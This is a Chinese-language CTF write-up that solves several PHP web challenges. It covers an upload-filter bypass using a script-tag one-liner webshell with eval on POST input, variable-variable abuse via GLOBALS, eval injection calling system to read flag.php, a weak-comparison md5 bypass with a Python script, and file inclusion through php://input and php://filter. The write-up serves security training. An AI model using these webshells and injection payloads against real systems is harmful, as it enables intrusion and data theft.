题目说可以上传任意文件,那就试试直接上传php,内容:
<?php
phpinfo();
?>
访问一下文件,发现<?php 和php被过滤了,这里想到绕过<?php的检测方法:
<script language="php">phpinfo();</script>
同时还需要绕过php关键字检测,尝试利用大小写,构造一句话木马:
<script language="pHp">@eval($_POST[cc]);</script>
菜刀连接:
flag在根目录下。
题目叫爆破,但跟爆破关系不大,打开看看:
看到var_dump($$a),而$a是由我们控制的,所以考虑让$a=GLOBALS,这样就可以打印出所有变量:
?hello=GLOBALS
flag在变量d3f0f8中。
虽然还是叫爆破,但和爆破还是没关系:
和爆破-1不一样,var_dump($a),虽然$a我们可以控制,但只有一个$,不能用$GLOBALS的方法去做,而且题目中一看,flag在flag.php中,我们应该要去读取flag.php中的内容。代码很短,关键在eval( "var_dump($a);");
eval()函数是危险函数,而变量a没有任何过滤,因此想到拼接命令:
构造?hello=1);phpinfo(
成功执行phpinfo();证明拼接是可以的。构造:
?hello=1);print system(‘cat%20./flag.php’
得到flag
题目提示这会真的是爆破,打开看看:
大概的意思是:
Session中的num初始值为0,time为当前时间,whoami初始值为ea。120秒之后会话结束。然后str_rands随机生成2个字母,whoami需要等于我们传递的value值的前两位,并且value的md5值的第5为开始,长度为4的字符串==0,这样num++,whoami=str_rands,循环10次后,输出flag。
由于==是弱类型判断,所以可以用数组绕过,即md5(数组)==0
因此首先构造?value[]=ea
此时str_rands=mn,继续构造?value[]=mn,由于时间120秒,完全可以手工做10次,即可得到flag。Python脚本:
import requests
url='http://6c3591ceb47d4dd3927cbb65750f3740eb795f3de3e24c64.game.ichunqiu.com/?value[]='
s = requests.Session()
payload='ea'
r=s.get(url+payload)
i=0
for i in range(10):
payload=r.text[0:2]
r=s.get(url+payload)
print r.text
看一下题目,完全没防护的文件包含:
直接构造:
path=php://input
post内容:<?php echo system('ls');?>
看一下有哪些文件:
猜测flag在dle345aae.php中
再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
读取文件内容,得到flag
Base64解码